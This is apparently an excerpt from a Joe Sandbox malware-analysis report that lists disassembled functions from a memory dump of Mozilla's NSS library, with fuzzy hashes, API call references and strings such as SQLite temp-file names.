Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 4C71C372E017058BD718CF59C8806AAF7F2BF88304F1A462DD85697B91DB70F984CB91

Function 6CA14DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA15125

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 88acae90235364c9928176033d998d316bf2621265a367e2381c6d84cb5c8476
Instruction ID: 70a879acaa381ebe3e5903b7a9ea35b863a926a45d5c6de3de99829e045631bb
Opcode Fuzzy Hash: 88acae90235364c9928176033d998d316bf2621265a367e2381c6d84cb5c8476
Instruction Fuzzy Hash: 11E11970A083408FDB09DF28D59465ABBF1FF89718F158A2DF88997751E730A985CF82

Function 6CA346D0 Relevance: 1.0, Instructions: 958COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8f7a87da1bdfed3162e82bd4cccf74ae5441fab12c4478b7f08386694173a3d
Instruction ID: 1f826dd89c40b911bb901efd9c5f70f55b7528b72d5d9a6ab390b1e4ea9a41ac
Opcode Fuzzy Hash: f8f7a87da1bdfed3162e82bd4cccf74ae5441fab12c4478b7f08386694173a3d
Instruction Fuzzy Hash: 4592A874A04215CFC715CF58C4A0AAABBF1FF89304F28929DD9199B756D732ED82CB90

Function 6CA9E5F0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalEnterExitMonitorSectionUnlockValue
String ID:
API String ID: 344640607-0
Opcode ID: 640ab8fd1046ab6131999429cc93cd811abb2ec4c98afa8f3b4bf241ae2f1168
Instruction ID: f9750ca0d82d40a178c5125d601672be7b0826cdc3137d256dd0854ad2286ebf
Opcode Fuzzy Hash: 640ab8fd1046ab6131999429cc93cd811abb2ec4c98afa8f3b4bf241ae2f1168
Instruction Fuzzy Hash: 98D1EFB5D10614ABEB018FA1D9467EE77F5BF4970CF080128E80467B02E735E89ACBD2

Function 6CA045B0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdda3345b0cf8aeb279432eb3a531b2d24b4cd0b9b357685ed7f85cadafd4044
Instruction ID: 5c337300f941afc63500025c928cdb2ac62a524a9ea113eac004de90cb17804f
Opcode Fuzzy Hash: bdda3345b0cf8aeb279432eb3a531b2d24b4cd0b9b357685ed7f85cadafd4044
Instruction Fuzzy Hash: F9D1F472B006168BCB0CCF99D9901AEB7F2FF98344B19856ED445AB791E774D942CB80

Function 6CA9A430 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5ac9ab9df31d6ba35585a8c7f779fc8b782fdcaceaa24d14b6ce1f1c6f86146
Instruction ID: 6930d719e326ffce826801896df2dba8bcb611ec46b79e16f7b6f5915ed4c365
Opcode Fuzzy Hash: a5ac9ab9df31d6ba35585a8c7f779fc8b782fdcaceaa24d14b6ce1f1c6f86146
Instruction Fuzzy Hash: C7819470B112058FDB18CF14D586BAA7BE6EF88308F19C16EE81A9B750DB74DD85CB80

Function 6CA78EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0feafb13d44fedb2e66b49c3bcbc3852436d58c73fc38aa8ee599774b3f7df2
Instruction ID: 3358c022cc196b427758044cc65c7e4aa0632fd04b36d34cad9c790884ce80ee
Opcode Fuzzy Hash: e0feafb13d44fedb2e66b49c3bcbc3852436d58c73fc38aa8ee599774b3f7df2
Instruction Fuzzy Hash: 0911E336A012158FD728DF24D884B5AB3B6FF4271CF08426AD805AFA42C775E8C6C7E1

Function 6CB50C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 359cb7cb4a48ae61da544f909652670ee7b12a520d5e1e7d7f651b128efdd4e0
Instruction ID: 212f30c4e0d30df508535dbc547fa88eef0a0e549e74802a941933f0a33b4944
Opcode Fuzzy Hash: 359cb7cb4a48ae61da544f909652670ee7b12a520d5e1e7d7f651b128efdd4e0
Instruction Fuzzy Hash: 5511C1747043859FCB00DF18E8C066A77A6FF8636CF14806DD8198B701DB71E816CBA1

Function 6CAC44C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bce24cf39d0643cde4b089f7adbb150b5a077261f33b5a128c6b7824e16c35d9
Instruction ID: 4d5e98f15d741921531960f920ba67034c1eaf1814eb2a3a482acfc3d819480f
Opcode Fuzzy Hash: bce24cf39d0643cde4b089f7adbb150b5a077261f33b5a128c6b7824e16c35d9
Instruction Fuzzy Hash: 6E11F776A002199F8B00CF99D8819EFBBF9EF8C664B554419ED19E7300D230ED548BE1

Function 6CAC4440 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 232f2211266b4cca22edd787e578884bc2be3fc4f2b0f5c1869d33511fd32199
Instruction ID: 76457541ef58ce5987f3f90c14caa1b3cc7afddd1981bdb332a0e6bca335d311
Opcode Fuzzy Hash: 232f2211266b4cca22edd787e578884bc2be3fc4f2b0f5c1869d33511fd32199
Instruction Fuzzy Hash: 8211C576A002599F9B00DF69C9819EFBBF9EF4C214B16416AED18E7301E630ED15CBE1

Function 6CB50D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 89b101d75a4ce48020da69d9dfdbcb9f4c9b397c7a78967e7ff4767ff53f4a79
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 8FE0923A2020B4A7DB548E09E450AA97359DF8161DFF4887DCC5D9FA41D733F8138B82

Function 6CAA8670 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$K11_$Alloc_ArenaArena_DoesFindMechanismTag_
String ID:
API String ID: 2003479236-0
Opcode ID: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction ID: b4b092a9ce70e334fa61daa59d2e9e646caf4b93d293ba09c1184a261cacdfa6
Opcode Fuzzy Hash: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction Fuzzy Hash: 7DE0B6B0C08B489BD708DF6AD5410AAFBE4AFD8214F00D91DFCAC47212E730A5D48B82

Function 6CA7CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c373b9c6a717da9a17764e5d5aac83faa45adf9d9293d9629259f40ead6db642
Instruction ID: aa791a022d3fae366bf66b68d1fcb88e1e8250525088e36a4325d2385131cc85
Opcode Fuzzy Hash: c373b9c6a717da9a17764e5d5aac83faa45adf9d9293d9629259f40ead6db642
Instruction Fuzzy Hash: 94C04838244608CFC744DA48E4999A43BA9AB0DA5070400A4EA028B722DA21F900CA80

Function 6CB067C0 Relevance: 45.3, APIs: 30, Instructions: 254COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(53E58955,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB067D4

Part of subcall function 6CA895B0: TlsGetValue.KERNEL32(00000000,?,6CAA00D2,00000000), ref: 6CA895D2
Part of subcall function 6CA895B0: EnterCriticalSection.KERNEL32(?,?,?,6CAA00D2,00000000), ref: 6CA895E7
Part of subcall function 6CA895B0: PR_Unlock.NSS3(?,?,?,?,6CAA00D2,00000000), ref: 6CA89605

Part of subcall function 6CB0F2E0: free.MOZGLUE(-00000694,00000000,?,6CB12B36,-00000694), ref: 6CB0F2F4

SECKEY_DestroyPrivateKey.NSS3(EC835657,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB067E7
free.MOZGLUE(83CF893E,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB067FA
CERT_DestroyCertificate.NSS3(?,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06828
PORT_FreeArena_Util.NSS3(04890424,00000000,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06838
SECKEY_DestroyPublicKey.NSS3(8B088B0A,6CB15D40,00000000,?,6CB1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB180C1), ref: 6CB0685B
CERT_DestroyCertificate.NSS3(8904508B,6CB15D40,00000000,?,6CB1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB180C1), ref: 6CB0686E
PORT_FreeArena_Util.NSS3(?,00000000,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB0688D
PORT_FreeArena_Util.NSS3(C0850001,00000000,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB068A9
PK11_DestroyContext.NSS3(896CBE16,00000001,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB068BE
PK11_DestroyContext.NSS3(15FF2404,00000001,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB068D3
PK11_DestroyContext.NSS3(6CBDCCEC,00000001,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB068E8
PK11_DestroyContext.NSS3(8504EC83,00000001,00000000,00000060,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB068FD
free.MOZGLUE(892C4889), ref: 6CB06940
SECITEM_ZfreeItem_Util.NSS3(6CB16218,00000000), ref: 6CB06953
SECITEM_ZfreeItem_Util.NSS3(6CB16310,00000000,6CB15D40,00000000,?,6CB1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CB06963
SECITEM_ZfreeItem_Util.NSS3(6CB16390,00000000,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06973
free.MOZGLUE(894AD231,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB0699E
PK11_FreeSymKey.NSS3(0F6CBB60,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB069EE
PK11_FreeSymKey.NSS3(4E89C844,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06A01
PK11_FreeSymKey.NSS3(01EAE904,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06A14
PK11_FreeSymKey.NSS3(E3830000,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06A27
PK11_FreeSymKey.NSS3(1BE3C101,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06A3A
PK11_FreeSymKey.NSS3(FFFFFFB8,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06A4D
PK11_FreeSymKey.NSS3(023DE9F7,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06A60
PK11_FreeSymKey.NSS3(E3830000,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06A73
PK11_FreeSymKey.NSS3(0CE3C101,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06A86
PK11_FreeSymKey.NSS3(FFEFFFB8,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06A99

Part of subcall function 6CACADC0: TlsGetValue.KERNEL32(?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE10
Part of subcall function 6CACADC0: EnterCriticalSection.KERNEL32(?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE24
Part of subcall function 6CACADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CAAD079,00000000,00000001), ref: 6CACAE5A
Part of subcall function 6CACADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE6F
Part of subcall function 6CACADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE7F
Part of subcall function 6CACADC0: TlsGetValue.KERNEL32(?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEB1
Part of subcall function 6CACADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEC9

PK11_HPKE_DestroyContext.NSS3(15FF2404,00000001,?,?,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB06AD1
free.MOZGLUE(6CBDCCEC,?,?,?,?,?,?,?,?,?,?,?,?,6CB15D40,00000000), ref: 6CB06AE4

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: K11_$Free$Destroy$Utilfree$Context$Arena_CertificateCriticalEnterItem_SectionValueZfree$Unlock$PrivatePublicmemset
String ID:
API String ID: 474436658-0
Opcode ID: dda55d7ba08c64aabfb402d47bebb4d39bd407f1cc5feb25fbfb261342ee50d3
Instruction ID: ba6c5eae511e307d65179a102cb30538d29198b48890fb10f2af35baa9e7e01a
Opcode Fuzzy Hash: dda55d7ba08c64aabfb402d47bebb4d39bd407f1cc5feb25fbfb261342ee50d3
Instruction Fuzzy Hash: BA815FF5B00B405BEA11DA71AC45B977BECAF0024DF044838E86AD7A41FB25F59CCA62

Function 6CB56E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA6F9C9,?,6CA6F4DA,6CA6F9C9,?,?,6CA3369A), ref: 6CA0CA7A
Part of subcall function 6CA0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA0CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CA1BE66), ref: 6CB56E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CA1BE66), ref: 6CB56E98
sqlite3_snprintf.NSS3(?,00000000,6CBBAAF9,?,?,?,?,?,?,6CA1BE66), ref: 6CB56EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CA1BE66), ref: 6CB56ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CA1BE66), ref: 6CB56EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CA1BE66), ref: 6CB56F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CA1BE66), ref: 6CB56F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CA1BE66), ref: 6CB56F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CA1BE66), ref: 6CB56FA6
sqlite3_snprintf.NSS3(?,00000000,6CBBAAF9,00000000,?,?,?,?,?,?,?,6CA1BE66), ref: 6CB56FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA1BE66), ref: 6CB56FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA1BE66), ref: 6CB56FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA1BE66), ref: 6CB57014
sqlite3_free.NSS3(00000000,?,?,?,?,6CA1BE66), ref: 6CB5701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CA1BE66), ref: 6CB57030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CA1BE66), ref: 6CB5705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CA1BE66), ref: 6CB57079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA1BE66), ref: 6CB57097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CA1BE66), ref: 6CB570A0

Strings

winGetTempname5, xrefs: 6CB57071
winGetTempname4, xrefs: 6CB57046
winGetTempname1, xrefs: 6CB5708F
mz_etilqs_, xrefs: 6CB56F18
winGetTempname2, xrefs: 6CB570C4

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: bdd06a3c8a51a1cff2de8b1ee2809af54d1362a0221ad1c5c7dba5970d58da82
Instruction ID: d4890f37a9d1729d5600242a0a6d274a43577b101892d894b74b1c1b515d9775
Opcode Fuzzy Hash: bdd06a3c8a51a1cff2de8b1ee2809af54d1362a0221ad1c5c7dba5970d58da82
Instruction Fuzzy Hash: 3351B271F1029117E7005A30AC51FBF366A9F9235CF584538E805A7BC1FF65992D82D3

Function 6CAE4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA975C2,00000000,00000000,00000001), ref: 6CAE5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA975C2,00000000), ref: 6CAE5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CAE5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE5089
